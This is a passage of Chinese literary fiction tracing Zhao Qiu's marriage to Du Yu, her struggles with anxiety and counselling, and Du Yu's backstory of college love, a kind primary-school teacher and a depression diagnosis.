每次下班回家开门,赵秋仍习惯性地喊一声“我回来了”,再和父母打招呼。大多时候父亲是加班未归,江群那两个礼拜当她是空气一样。没有人知道江群怎么想的,只知道她当赵秋是障碍物,碰到要越过,不和赵秋眼神有交汇。赵秋自幼与爷爷奶奶、聋阿公相处多一些,爷爷对任何事情都是听天由命的态度,他的口头禅是“天要下雨,娘要嫁人——随他去吧”。赵秋想来,也许很多时候避免伤害的方法就是“随他去吧”,就当自己是躯壳之外的人。 短暂逃离的三天,让她忘记了脱发的困扰。回归日常,脱发依旧。撑了一个月后,她还是走到这一步——约了中医院小代大夫的号。 小代大夫是她初中同学胡慧的高中同学。不久前,单位吴姐儿子结婚,她给了礼金本不打算去,却在其他同事邀约下前往。没想到新娘是胡慧。两人简单叙旧,加了联系方式。胡慧大学念中医,在江城的医院工作。后来赵秋向胡慧打听靠谱中医,胡慧便推荐了在本市中医院工作的小代,并提前打了招呼要小代多关照下赵秋。 小代大夫针对赵秋的情况配了药,叮嘱完注意事项,让她两天后去取熬好的膏滋。赵秋正要离开,有个人匆匆忙忙推门进来了。她想着谁这么不守规矩没礼貌,不是还没叫新号呢,抬眼一看,两人都卡顿了一下。赵秋没想到在这里遇到了“怪人”,杜雨有点惊喜在这碰到了“杰瑞”。两人打了招呼,赵秋就匆匆离开。 原来,杜雨和小代、胡慧都是高中同学,与小代更为要好。他是来给自己和家人取补药。小代提起赵秋是胡慧介绍过来的,他问杜雨是不是和对方认识。杜雨只说“算认识,不太熟”。在复州这座小城,同龄人彼此认识再正常不过,小代也没多问。 事情的转折发生在那次赵秋陪单位的小李相亲。小李是外地人,一个人在复州工作,在这边也没有亲戚朋友。相亲对象是她姨妈介绍的,姨妈的师专同学有一个是复州人,她们参加同学聚会取得了联系,席间姨妈听说对方着急为儿子找对象,提起自己有个侄女刚好在复州的单位工作。两人交换了小孩的信息,都还比较满意。姨妈同小李的母亲讲了这个事情后,家里就给小李说了。后续就是加联系方式,小李和那位男生聊得不错,还没见面。约见面后,小李有点紧张,还是想找个人陪自己一起,想来想去就想到了赵秋。小李在这边没有熟人朋友,也就和单位里的赵秋交好一点。 那天是赵秋陪着小李,杜雨陪着小代——小李和小代相亲。那顿晚饭,小李和小代都太拘束,明明线上聊得不错,线下倒不怎么讲话了,变成了杜雨和赵秋还有几句话讲讲。这之后,杜雨加了赵秋的联系方式。 赵秋家里那段时间也给她安排过不少相亲,她不排斥也不热衷,类似于一种应对母亲焦虑的策略——见见面,之后就没有下文了。母亲江群非常着急,不明白这么久怎么都没结果呢?她不信赵秋就一个都看不上,给赵秋挑的相亲对象也都是家里条件不错,嫁过去后能保障过很体面生活的人家。江群开始催赵秋,她要赵秋自己也要想想办法,多联络靠谱的同学朋友,看他们有没有合适的人介绍给她。这期间刚好胡慧联系了赵秋,简单寒暄几句后问了赵秋排不排斥相亲,要给她介绍一个人——这个人是杜雨。 他俩是这样开始的。“怪人”和“杰瑞”在同学安排的见面后,都觉得很搞笑也很巧,于是很轻松地尝试着交往起来。 杜雨是个很细心的人,总能察觉到对方的需求。一次逛面包房,赵秋在果酱那边看了会儿,小声说了句没有自己想要的口味。两天后,杜雨给她带了两提刚上市的枇杷礼盒、两把栀子花,还有两瓶手工桑葚果酱。枇杷最近刚上市,菜市场也有老太太卖新开的栀子花。“你在吴州说过喜欢桑枣儿,那天见你在面包房盯着杂莓酱犹豫,猜你想要这个。”他笑着解释,果酱是托乡下亲戚寻的新鲜桑葚做的。杜雨做的果酱的确不错。结婚后赵秋也学会了做果酱,只是婚后杜雨不再下厨房,他每年酿点荔枝酒的习惯倒是没变。 杜雨对赵秋的妹妹同样上心。他们刚交往时,赵程锦才上初一,江群随口抱怨不知道给赵程锦找什么老师补课。赵秋就是在和杜雨吃饭的时候随口提了一下,他便托在重点中学任教的亲戚,为赵程锦安排了一对一补课老师辅导,直到她高中毕业。 赵秋曾不解江群对自己结婚的焦虑——那种要完成一项任务的紧迫感,似乎慢一点江群就会被世人唾骂是个不操心的姆妈。更年轻一些的时候,她以为那种迫切地要名声、要利益、要赞美的人,大多是名利场中人,是和普通人生活不那么相干的人,在江群焦虑她结婚这件事上,她才意识到,原来很多普通人就算没有那么擅长攀附和热衷名利,但也逃不过周围小环境的舆论,这些舆论甚至会是一个麻烦,影响到他们看似安全的普通生活。诸如“她家娃这年纪还没结婚,做姆妈的一点都不急吗?肯定是没有操心,还不是只顾自己呗。不晓得这日子是怎么过的!”这种闲话,可以把一个人完全否定,摧残人的身心。 根据对周围的观察,赵秋相信进入世俗婚姻会得到的一种被社会认可的“安全”,也会有难处,但那种难和单身人士的难不一样。她听过很好笑的话,像是“你又不结婚,就算一个月只赚1000块钱,也比人家结了婚的人过得好。”听到这种话,她从不反驳,她觉得没必要。她并不排斥进入世俗婚姻,但不是为了“安全”,她只是觉得那是她可以接受的一种生活方式,就像一个人生活,不进入婚姻,也是一种她可以接受的生活方式。很久以前,她就想过:如果结婚,对方要是一个可以好好离婚的人,可以好聚好散的人。赵秋确信自己是可以好好离婚的人。 她和杜雨交往了两年,两人没有吵过架,对赵秋来说,和杜雨相处跟成长过程中交到并长久维持友谊的每一个女性朋友一样,很自然舒适。杜雨是赵秋遇到的男性里比较少见的很宽厚包容的人,他也从不评价别人的软弱,对朋友们的难处会比较体谅,就算不认同一些事情,也绝不会口出恶言。交往两年间,对赵秋的家人也非常客气有礼貌。 江群曾经有过一点反对情绪,因为家里给赵秋介绍过很多经商家庭的男孩,都没有什么后续。但是时间长了,她发现杜雨人热心,是个厚道孩子,家里父母亲是体面单位退休,也蛮好的。 赵秋认为杜雨是一个可以好好离婚的人,也是一个很容易开心的人。她和他在一起有很多放松的时刻。在他们交往的第三个月,她就收到了他的戒指,她觉得太快了,他道歉;两年后他们结婚,他们都相信自己会幸福。 婚后头两年,夫妻俩与杜雨父母同住。生活上很便利:老人起得早,等夫妻俩起床准备去上班,早餐就准备好了,忙碌一天回来,一家人一起吃晚饭,白天老人会在家里做清洁,杜雨父母很爱干净。 杜雨吃完饭 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赵秋出门时,公婆会叮嘱“注意安全”;赵秋下班回家打招呼,他们会回应;吃饭时,他们和杜雨说些事情边吃边聊,然后让她“夹菜吃呀”;他们准备了水果或点心,会发消息给让杜雨转告她。家庭群会通知事务,但是赵秋与公婆从未互加好友。 这是一种说不上来的感受。这样的生活过了一年,赵秋向母亲讲起她的感受,江群只是推说:“你公婆不是蛮好的吗?也没有对你怎样吧?你就是容易想多。”赵秋不再同江群讲这些事情。是的,公婆是蛮好的,公婆爱干净,家里很整洁,在家务上为他们小夫妻提供了很好的帮助,小夫妻工作忙,每天回家还能吃到可口的饭菜。嗯,公婆蛮好的。 不对!赵秋在某天下班回家后,“我回来了。”“你回来啦,等小雨回来了我们就吃饭。”的对话结束后回房,她拿着买到的首饰胶粘耳环配件时,突然顿悟——在这个家庭里,她是一个“道具”! 她是谁根本不重要,重要的是她是“杜雨的妻子”。她是加入了他的家庭,而他过着他一直以来的生活,只是多了一个妻子。他的父母会客气地对待她,但并不在意她。她相信若有了孩子,公婆肯定会帮助带小孩,会给小孩血缘之爱的照顾,也有很大可能和小孩建立深厚的感情。他们会想要了解孩子,对孩子充满好奇和期待。他们并不想了解她,因为这不重要,或许换一个人是杜雨的妻子也是这样,和杜雨的妻子是谁有关吗?也许有关,更有可能没一点关系。 杜雨对赵秋提出搬出去住的提议很困惑,他觉得他们的生活很好。工作都忙的两人,在家不用做什么家务;父母亲也没有催他们生孩子,家里没有家庭矛盾。夫妻俩一直有话说,可以交流工作和生活上的很多事情,每个周末他都会安排得很好,在家休息和户外活动能兼顾,长假会去外地游玩。他很满意现在的生活,是他想要的没有什么麻烦的人生。 几轮沟通下来,赵秋仍旧坚持要搬出去。她表示,去住自己那边的房子也好,会去和住在那边照顾妹妹念书的母亲沟通;住在杜雨那边的房子也好。赵秋觉得很累,工作已经够辛苦了,每天回来还有另一种很大的精神压力。 杜雨很想说的话是:赵秋完全是工作压力大产生的焦躁情绪,他不觉得自己父母给了赵秋压力,如果他的妻子不是她,父母也会这样。可是想到这里,他突然沉默。他知道他说不出这些话。许久,他才开口:“你工作压力太大,如果你需要的支持是搬出去,我可以给你支持。住我那边吧,你妹妹要上学就就不要折腾她们了。” 杜雨父母很是意外。在他们看来,小夫妻和他们同住是最好的选择——分开住要自己操持家务,杜雨母亲心疼儿子。在了解杜雨的决心后,他们不再劝说。 很快,赵秋和杜雨搬到了鹊桥路的家。两人共同分担家务,由于工作忙碌,早晚饭都是外食。生活变得比以前辛苦,感情却愈发甜蜜。 结婚第三年,赵秋开始失眠,也许是工作太过焦虑。赵秋看过医生,检查后医生称身体无恙;她换了地方抓补药熬膏滋,不再找小代大夫。杜雨劝她:“别想太多,日子明明很好过。”这种时候,她都不知道怎么回复他。她觉得自己应该去精神卫生中心挂个号。当她提出这个想法时,杜雨沉默了很久,最后反驳了她,他说是她想太多。 赵秋发现,自己精神紧张的时候,会在家里来回踱步,她也不知道自己在做什么,好像不自觉地就这样了,以前下班了还接到电话,想中断但是不知道怎么向对方提出结束电话通话这一行为时,也会这样。这样反而让她理解了生活中遇到的一些人,他们会表现得“自言自语”——比如去上厕所要说一句“上厕所去了”或者饭点的时候说“快点吃了忙哦”,他们并不是对别人说,却又不像那么对自己说——有种自己也不明白的不知所措。 有时候她会想,自己在期待什么呢?杜雨是个可靠的朋友,也是个耐心的人。一直以来,他的朋友们有情绪问题都会给他打电话聊一会儿,他不会多评价别人,是个很好的倾听者。在自己焦虑的这段时间,杜雨和以前一样,他们过着日复一日的简单生活,只是杜雨好像并不想听她说很多,大多时候他沉默,偶尔流露出不耐烦。赵秋有一种感觉——自己变成了杜雨美满生活的一个麻烦。也许杜雨想要的是没有麻烦的人生,就像他们之前的生活——赵秋不觉得自己没有麻烦,但她能感受到杜雨是非常满意的。现在,一切都变了。 在一个周五晚上,赵秋难得早下班,她很烦躁,也很累。她到家后躺在沙发上睡过去,半梦半醒间,她觉得自己的头一直在不停旋转,整个人在下沉,像要陷进沙发内部。杜雨到家后叫醒了她。她起来后告诉杜雨,自己决定第二天去精神卫生中心挂个号。杜雨沉默了一会儿,他告诉她已经买好了两张演唱会的门票,他本想给她个惊喜。 那种感觉无法描述,不知道是愤怒还是茫然,赵秋的眼泪流了出来。她双手捂着脸默默掉泪,继而嚎出声来。杜雨不理解,他想她需要冷静,转身回了房间。 第二天,杜雨没有去看演唱会,赵秋独自去了精神卫生中心。晚上两人一起吃饭,杜雨没有问赵秋白天的情况,他不经意般提起:“或许我们该要个孩子了。”赵秋放下筷子,抽了张纸巾擦了擦嘴:“现在不适合。”随后,她起身去了客房,彻夜无眠。如果用新的问题覆盖旧的问题,旧的问题也不会消失。她不知道杜雨到底是怎么想的。一直以来,他的行为好像也不算冷漠,但是她又切实感受到了他的冷漠,他在努力扮演一位好伴侣。 赵秋尝试过心理咨询,去过一次,非常失望,是一种说不出来的不对劲。那位心理咨询师让她想起了念高中时的一件事。 高二那年,学校附近有女生在晚自习放学回家路上被一男生尾随,被抓伤了胸部。后来经过学校调查,是高三的一名男同学。从此每天晚自习放学后,学校会有老师组成的“安保队”到学校附近范围的各条巷道巡视,保障学生放学安全。这件事后,学校组织了针对全体女生的安全教育讲座,不同年级的女生分批次在大礼堂参加这次活动。主讲人是那位刘姓的所谓的心理老师,整个讲座的主题就是围绕着“女学生要自爱”展开,期间披露了多位接受过她心理咨询同学的隐私,尽管她没有指名道姓。这让赵秋非常非常不适,讲座结束回班级路上,她向石唯吐槽:“高三师姐遇到这种事情已经够惨了,这老师组织我们全校女生听讲座说要我们自爱,这是什么事情嘛?把咨询学生的隐私当案例到处说,把别人的痛苦经历当作女生要自爱的证明,完全没有职业伦理和道德观念,这死老师怕不是有什么神经病吧!”石唯回她:“她以前在襄江中学和我阿姨是同事,我阿姨说她是一个很热爱世俗生活,很争上游的人。心理咨询师证这老师是有的,但是这个考出这个证能执业估计就是她攀附的工具,她这样子完全没有同理心。真的好恶心,我也不知道为什么要被这讲座折磨一个半小时。” 此次在医院咨询的这个心理医生,挺会刺激人的,她对赵秋说:“你现在还活得好好的,有多少人没有机会活。你死都不怕还怕活着?”赵秋非常生气,怎么这么倒霉会碰到如此没水准的人!她也非常后悔,觉得自己怎么就这么蠢,要花钱受这种羞辱。 赵秋去了趟娘家。江群根本没留意赵秋的状态,一直拉着她倾诉工作和亲戚琐事。江群还告诉她对门杨树奇好像回来了。赵秋听到后去了对门杨家敲门。 赵秋家是在她九岁时搬来这个小区的,这小区住的大多是以前老水利局的职工家属。赵秋的堂伯以前在这里住,在下海经商赚钱后举家迁到岭南,把房子折价卖给了赵秋爸爸。赵秋家对门杨家的女儿杨树奇是个活泼热情的人,比赵秋大了快八岁。赵秋刚搬来这边时很害羞,杨树奇碰到她总会和亲切地打招呼。杨树奇喜欢听梁咏琪的歌,在她2004年高考完的那个六月,听说Gigi在江城有签售会,她和一位好友一大早就赶过去了。 赵秋的第一盘磁带——梁咏琪的《胆小鬼》专辑,是杨树奇送的;赵秋高考后不知道怎么填志愿,父母不上心,她也是咨询杨树奇后报了杨的母校,去了北方念书。对赵秋来说,杨树奇就是一位和自己没有血缘却无比美好的大姐姐。 如今,杨树奇在夏口有一家大型花店,主攻装置美陈。这次是送她母亲回来休养,她妈妈一直在她店里帮忙。听了赵秋的遭遇,杨树奇安抚了她的情绪:“心理咨询这一行有太多人是考个证当就业渠道,谁考出来都能执业。心理咨询行业更需要完善的监督机制和道德伦理要求,不然没有约束会给咨询者带来更大的伤害。这一行太乱了,比网上的命理圈子还要乱,找到合适可靠的咨询师不容易。你不要自责了。”杨树奇联系了住在同一楼,大学是学心理专业的林胡莉,电话沟通后对方推荐了可以线上联系,有资质可查、有受训督导的咨询师。 分别时,杨树奇抱了抱赵秋:“你很勇敢,也很了不起。不要一个人苦撑,一定要和亲友多沟通,寻求支持和帮助。” 此后一年,赵秋坚持咨询。她不敢说自己完全没有问题,但是她平和了很多。她终于下定决心去考驾照,工作忙也挤时间考出来了,她买了车,周末的时间不再和杜雨同行,他们各自开车去各自的目的地。夫妻间的交流开始限制在吃些什么或是亲戚间的人情往来需要一起出席。杜雨没有再提过要孩子的事。 现在是结婚第五年,赵秋总会想起母亲对她讲的那句话:“你有什么不满意的?你不是蛮好的吗?人不想太多什么都好。”一次看电视,是一部老刑侦剧,剧中有句很普通的台词“请您配合一下”,却让她掉下和剧情不相干的眼泪——如果解决不了问题,就当没有问题一样生活,是有用却煎熬的生活。她不想再“配合”这种生活,他们俩曾满怀憧憬走进的,在外人看来依然幸福的生活。 当杜雨再次提出是该要个孩子了,和以前的每一天一样,两人也没有太多交流。正巧十四中那边的租客退租,赵秋决定搬离。杜雨没有表达什么意见,只是像知道这一刻总会来临一样,平淡地回了句“随便你”。 7. 荔枝酒 杜雨是在吴州念的大学。大一开学没多久,他就交了个女朋友——那是个很活泼爱讲话的小姑娘。年轻人的恋爱总是轻快的,他在大一上学期过得很愉快。 恋情就像夏天的一场雨——杜雨和女朋友很快分手了。他的女朋友出于好玩的心态,找了其他女同学加他社媒“试探”他。杜雨知道后和女朋友提了分手,表示他们可能不太合适。女朋友觉得分手就分手呗,本来就是开玩笑而已——那大家就是玩不到一起的人,何必搞得好像“不是一路人”?两人都这么年轻,谈恋爱也没有想到那么长远,没必要上升到“道不同不相为谋”吧。很快两人各自又有了新的交往对象。 嘉菱是南方人,她眉毛修长,高鼻深目,留着一头短发。杜雨打完排球和同学回宿舍的路上,一位女生叫住他,提醒他两只脚上的鞋带都掉了。他们就是这样认识的。杜雨对嘉菱有一种没由来的好感,他一直很好奇。在一次上大课时,他又扭过头看和他座位隔着很远的,对角线那边角落的嘉菱后,坐他旁边的室友子俊受不了了。 “你是陀螺屁股吗?干嘛一直动啦。偷看别人做什么?还不如下课了去想办法认识好了。” “知道了,知道了。你怎么讲我老家话?你才是陀螺屁股呢!” 下课后回到宿舍,杜雨向子俊说起觉得嘉菱好眼熟,子俊嗤之以鼻,嫌弃他说的这种老套话。 “你们老家离港城近,你应该看过那个剧吧?她很像那部剧的女主角。”杜雨问道。 “什么?” “我小时候跟着我舅一起看的,就是讲男主养父是□□,生父是警察,他夹在中间很痛苦,还替养父顶罪;女主角很爱他,眼睛最后失明了。” “噢,我知道了,你说的女主角是石伊明!这港剧很老了。原来你喜欢短头发。你这样讲的话,好像是蛮像的。” 子俊和嘉菱是同乡,学校有各地同学的同乡会。在子俊的帮助下,杜雨和嘉菱慢慢熟识,开始交往。 嘉菱爱吃也会吃,她总是能在吴州找到好吃的地方;周末她会和杜雨到处逛、到处吃。在她老家的房子前,有两棵很大的荔枝树,每年有吃不完的荔枝果,她很擅长酿荔枝酒。听到她提起这些,杜雨很向往,也很好奇自酿荔枝酒是什么样子。夏天荔枝上市的时候,嘉菱网购了工具和材料在宿舍自酿荔枝酒。杜雨看了她操作的过程,觉得自己也可以,也准备了工具和材料折腾一番。由于经验不足,尝试后过了段时间,放在他宿舍床下的密封玻璃瓶炸了。嘉菱劝他算了,杂醇危险,自酿酒还是有风险的,她做就好了,但杜雨觉得还是蛮有意思的,并表示自己总有一天会酿成功。 嘉菱一直想打耳洞,又因为怕疼犹豫,杜雨为了鼓励她,自己先打了耳洞。嘉菱送给他的单只银色耳钉,杜雨会在学校排球比赛的时候戴着。她在观众席和同学们一起加油,远远看着他在场上,她想他也一直在为她加油。爱?爱令人勇敢地把自己当作神,相信可以从地狱里躲过伏击求生。 子俊形容杜雨和嘉菱的恋爱是:“两只蜗牛背着不重的壳啊,一步一步地往上爬,不过爬的不是葡萄树,而是荔枝树。”他们的恋爱是慢悠悠又乐悠悠的样子。 那是在杜雨大二的暑假。那年特别热,杜雨是非常怕热的人,天气让他心情烦躁,他希望多下几场大雷雨才好。有同学邀约,他也没出门过。在家待着很舒服,他每天会把自己的时间安排得很好,早晚会在固定时间和嘉菱视频聊天。 在这个暑假结束后,杜雨确诊了抑郁症。虽然从上高中起,他有时独处时会突然发慌、心悸流汗,但一直以来他以为是自己没有休息好,学习压力大。这次失控的诱因是一件很小的事:他找不到他小学五年级到六年级的期末评价单了。 在小学五年级以前,杜雨觉得自己的身体不是自己的,是很混沌的状态,上课时神识也是游离在课堂之外,功课当然很差。但他并不讨厌上学,因为上学在教室对他来说和在哪里都没有区别——无论在哪里,他都在自己的世界里想着各种各样的事情,他集中不了注意力,根本不知道专心的概念。 小学五年级的时候,这一切都改变了。五年级新学期开学,杜雨的妈妈去开完家长会回来,兴高采烈地同杜雨爸爸讲了杜雨班级来了新班主任这件事。杜雨当时在看动画,电视里放的是《瑶玲啊瑶玲》。新来的班主任是位年轻的女性,她是吴州人,在江城读了很好的师范学校,毕业了就来了复州城区最好的小学任教。杜雨妈觉得这老师蛮好的,年轻学历好,教学水平应该不错,但她担心老师待不长久——毕竟吴州是个大城市,平时大家提起来关于吴州的俗语里上一句话都是“上有天堂”呢,也不知道老师怎么来了他们这个小地方。 杜爸放下手中的报纸,抬眼回了杜妈一句:“你别想那么远嘛,这要是个好老师,你就当给小孩上一天课就是咱们赚了一天,你管人家为啥屈就这边。不过人生选择嘛,要么为利要么为情,希望这老师是因为实验小学给她待遇好才来的,要是我的女儿是为情远走吃苦我可不依。” “你的意思是得亏咱们生的是儿子!”杜妈道。 “是儿子一样要操心啊,你要管教他啊!你看他现在看的什么电视,怎么老看些像女孩子的动画片啊?之前还看什么魔法小樱来着的。”杜爸站起来,把报纸对折着指向杜雨的方向,朝杜妈不耐烦地说道。 杜妈忙过去哄杜雨,让他不要看这种太女孩子气的动画惹爸爸生气了,然后小声说着“要么悄悄看”。杜雨很多年后都没搞明白,什么叫“太女孩子气的动画”,动画片也有性别? 杜雨和他爸爸交流很少,一向如此。杜爸倒是没打骂过小孩,也不怎么陪小孩玩耍,但小孩学习和生活上有需要帮忙的事,他又愿意跑前跑后操心。杜雨和他爸没有矛盾,也不是那么亲密。一直以来,杜爸都觉得儿子缺点男子气概,怕孩子以后社会竞争弱,被欺负,他每次对杜妈说这个想法,都会被杜妈用一件事堵住嘴。 杜雨二年级的一个假期,杜妈的单位团建,去了乡下林场那边的农家乐,同事们都带着自家小孩一起。杜妈和同事们分几桌在农家小院的包房打麻将,村子里的几个妇人跑过来找农家乐老板了,边跑边喊:“不得了哒啊,不得了哒啊!你们这边的客娃放火把几家的窖(稻草垛)都烧了啊!”那群小孩里,没参与爬稻草垛和放火的只有杜雨和两三个小女孩。杜雨没劝动那几个小男孩,他就带着和他一起的几个小女孩去找大人求助。 有个妇人说了句:“我们乡里娃没人管教么调皮,未必你们城市来的客娃也不懂吧?”说完后指着杜雨那边,反问家长们:“只有那几个客娃醒事一啲尕(一点点)。都是客娃,别个怎么晓得不能放火呢?”家长们很是尴尬,后来是赔礼道歉赔钱了事。 杜妈不喜欢杜爸总是讲儿子不够有男子气概,她想如果男孩子调皮算男子气概,那这气概谁家要就给谁家吧。她很满意自己的儿子,自己的娃只是比较安静,说话声喉不太大,但他懂文明、讲礼貌,性子慢又不是什么坏事。杜妈没有对杜爸讲的是,她还不是因为杜爸说话轻声慢语、人又温柔才和他在一起的?她喜欢斯斯文文的人;她觉得他对儿子很不公平,如果他因为自己是个斯文好人在单位受了排挤,如果他因为不是烟酒都来被同事揶揄,那他要么坚定自己过好自己的生活,要么就有余力去改善环境,而不是把自己的不顺变成焦虑施加到他们这么好的孩子身上。杜妈自己是有儿万事足,她希望杜爸不要太贪心,能多想想当初他在产房外痛哭流涕的时刻——杜雨出生时,母子俩差点命丧产房。 吴州来的梅老师教了杜雨两年,从他五年级到他小学毕业。梅老师是班主任,教他们语文,在每周的班会课会给他们读书和绘本。杜雨至今记得,有一次梅老师读的是一本智利的绘本,他觉得那个故事好美,下课后鼓起勇气去找老师借书——书上的文字却是他不认识的西语,他有点失望。老师让他等一等,去办公室打印好了部分翻译给他。绘本的内容他不太记得了,只记得自己当时的雀跃:他在家里拿画纸照着绘本画图,画到满意时总想站起来蹦几下再继续。 有天下午突然下雨,快放学的时候,家长们陆续来给孩子们送伞。有位同学小文被嘲笑了,因为她妈妈是直接从工地过来的,上衣短袖背后有很多灰色水泥点点,脚上军绿色的鞋也都是泥。第二天,梅老师知道了这个事情,在班级严肃批评了那几位嘲笑人的同学。她说小文的妈妈很了不起,小文妈妈背上的水泥点是她努力工作的痕迹,没有人有资格嘲笑任何一个认真生活的人,她对那几位同学的行为感到羞耻和愤怒。梅老师还把小文带到办公室,单独安慰了她一会。她告诉小文:“你妈妈很爱你,工作很忙工地很远还是着急赶过来给你送伞,被爱的人不需要感到羞耻。”杜雨很多年后才明白了梅老师说的“小文妈妈了不起”——复州很多砖瓦厂和建筑工地都有忙碌的女性身影,她们做着同样辛苦的活,拿的工钱比不上男工人,但是不做就没活干、就没钱赚。小文的妈妈,当初是在工地挑水泥的小工。 杜雨从梅老师那边学会了很多爱和理解。梅老师给每一个小孩写的期末评语都很用心。杜雨还记得自己五年级上学期期末领成绩单,看到梅老师给他写的评语时的心情——那是一种在冬天的大晴天和外婆一起晒被子的感觉,是一种干燥的温暖。梅老师写的是:“你是一个很可爱的孩子,像一颗闪亮的小星星。你每次在路上遇到老师,都会害羞地打招呼,其他没有教过你的老师也都会被你问好。那天,你跟着音乐老师于老师走了好久,我看你一直叹气,犹豫着不敢上前,后来我发现了为什么——因为她的鞋带掉了。我上前告诉她后,你安心地走了。有次韩乐抓了只蝗虫吓唬小文,你挡在了小文旁边,后来他把蝗虫丢到你身上,你吓得大叫,你是个勇敢的孩子。很多时候你很安静,也不喜欢和同学扎堆在一起,我看到你课间总是额头贴着桌沿,偷偷看放在膝盖上漫画,还很警惕,就像怕人发现一样。我很好奇,下课时是可以光明正大看漫画的。后来我发现你看的是《魔卡少女樱》,我想起了班级同学的一些言论,意识到你是害怕被同学议论和嘲笑。老师也很喜欢看这部动漫,课间是可以光明正大看漫画的,看什么类型的漫画是个人爱好和自由,不应该被嘲笑和指责。我发现你还给我的绘本里夹了一张你画的画,上面写了‘谢谢老师’。老师很抱歉因为忙忘了回复你,它有非常美的色彩,从你画的海洋世界,我感受到了你快乐的心情。谢谢你。如果你想和同学们一起玩耍,可以试着勇敢迈出一步。有任何需要帮助的地方,欢迎来找老师,我们一起讨论,一起想办法。祝你假期愉快,天天开心。” 这几张评价单,就这样找不到了。杜雨去问了妈妈,她回:“是你爸几个月前把家里没用的杂物、旧书都卖掉了。”妈妈还问:“你爸卖废品的时候不是征求你的意见了么?你说你没用的那两箱老课本,他也一起卖掉了。”杜雨还是怪起了自己——这几张单子,他专门夹在小学六年级的语文课本扉页,上次他爸卖废品,他为什么没有想起来? 找不到就找不到了吧,可是天上好像飘下来一个想法到脑袋里——他一定要找回来。他甚至跑了趟楼下的废品站,废品站的人像看怪物一样看着他:年纪轻轻的,脑子怎么就如此不灵光?几个月前的几张废纸,能到哪里找给你? 从知道小学期末评价单丢了开始,杜雨就心神不宁,他睡不好觉,也没有食欲。彻夜打游戏似乎可以集中精力,这样过了两三天他就不行了——他无法阻止自己不去想评价单丢了这件事,他的脑子已经没办法想其他东西。他也想过,丢了就丢了,但就是心绪不宁,非常烦躁甚至恐惧。他似乎能理解自己爷爷有段时间的反常了。爷爷几年前有段时间开始老吵着要爸爸和姑妈送他去医院,隔两天就吵着要去医院检查,还大骂子女不孝,可几次全身检查做下来,人一点问题都没有,家里人都搞不清楚爷爷是什么状况,吵架也吵了多次,爷爷一口咬定大家是想他死。现在看来,爷爷也许就是不受控地会担心自己生病,是情绪问题,需要治疗。 杜妈看着杜雨不对劲,人看上去像乡下刚被宰杀的鸡——杜妈对自己这样的联想感到害怕,她关切地询问儿子怎么了。杜雨只是摇头,要杜妈不要打扰自己。杜爸笑话儿子简直在“修仙”,每天都不吃什么东西的——米饭也不吃,吃几口叶子菜就不吃了。夫妻俩一头雾水,但也不知道怎么说杜雨——就算他还在念书,那也是成年人了,有自己的想法,做家长的不好怎么干涉他的事情。 那天,杜雨一家人去参加他外婆的生日宴。餐后,杜妈和自己姐妹扯闲话,就提起杜雨这段时间不太对,但她又说不出来个所以然。 杜雨的姨妈拉着杜妈到一边,悄悄说:“我也是看这娃的气色不对,不好跟你说。这会你这样讲,那我就直说了——怕不是要找人给他看一下,做做改。” “姐,你这是么意思。你不吓唬我哦!” “好端端的突然这样,怕不是阴病哦!还是找个师父看一下。” “你晓得我不信这些的……” “他这明显看着不对劲嘛。你说不信不信的,他小时候去乡下,夜里突然哭得不停,你们带回家也一直闹,后来还不是找师父‘收惊’叫了下名字好的!反正你自己上点心。” 杜妈回家越想越不安,和杜爸讲了一下杜雨姨妈说的这个,杜爸回:“太离谱了!你姐这是传播恐惧。还不如把他送去医院看看,信什么迷信!再说了,老头子(杜雨爷爷)那时候天天闹,还不是送他去和大伯一起住了,安排人照顾他就好了。等杜雨回学校,和朋友们一起了,看会不会好一些。” 假期结束,杜雨的状况没有好转,他还是返校了。 嘉菱本以为杜雨只是情绪低落一点,也许在家有不开心的事,但看到杜雨就知道状况实在不太好。假期里,杜雨在情绪最崩溃的时候,也是每天按时和嘉菱联系,只是视频通话改为了语音通话。有时候,杜雨是坐在自己房间的飘窗上,开着窗子,流着眼泪、强装情绪稳定地和嘉菱讲话。他家是29楼。 在子俊看来,杜雨这样也不是没有一点预兆。子俊觉得杜雨很聪明——杜雨明明没有什么学习的意愿和兴趣,平时很厌恶看书,考前随便对付着温下书、刷下题,期末就能踩线飘过,他也不多考几分,就是刚刚好;最难的一门专业课,他们这些认真学的不少人都挂科了,杜雨也是刚刚好过。杜雨似乎不想学本专业。他发现杜雨一直在学西语,偶尔一个人在阳台待很久,他不解杜雨当初干嘛填这个专业:十八岁了还做不了自己填志愿的主吗?杜雨嫌弃他站着说话不腰疼:“每个人的家庭环境和氛围都不一样,不是每个人都能很自主地去做自己想要的选择。” 子俊觉得好笑,他和他的高中同学都是自己做主、自己承担。他哥哥姐姐也是自己填的大学志愿,毕业自己找的工作,挣钱了每月适当给父母一点家用,父母根本没有干涉太多。子俊认为所有把自己没能自主选择推给父母的人,都是懦夫——都成年人了还讲这一套就很没意思了,这样的人都是不敢承担自己去选择的后果的人,就是比较没担当的人。 杜雨希望子俊就算不能推己及人,也不要以己度人。成年人?从18岁到88岁都是成年人,可刚18岁的高中生又有多少社会经验,其中又有多少是可以脱离父母独自决定一切的人?杜雨对子俊说:“不是每个人都像你和嘉菱一样勇敢坚强。” “知道啦。‘君子和而不同’,反正不管怎样我都当你是好兄弟。”子俊回杜雨。 子俊很担心杜雨,他能和杜雨做好朋友除了都爱打排球,还因为杜雨很体贴细腻,杜雨待人真诚。现在杜雨这个状态……杜雨明明一直是一个那么快乐、也愿意给朋友带来快乐的人。他不知道杜雨哪里想不开,或者哪里出了问题。看到杜雨躺在床上睁着眼睛一动不动,子俊很想哭——他对自己想哭这个想法很疑惑。 杜雨在嘉菱的反复劝说下,同意了她陪他去本地医院的神经内科挂号检查的提议。在医院,杜雨被诊断为抑郁症。杜雨能接受这个结果,他大概是心里有数;嘉菱反而暂时放松下来,她很早就想到很大可能是这个情况。 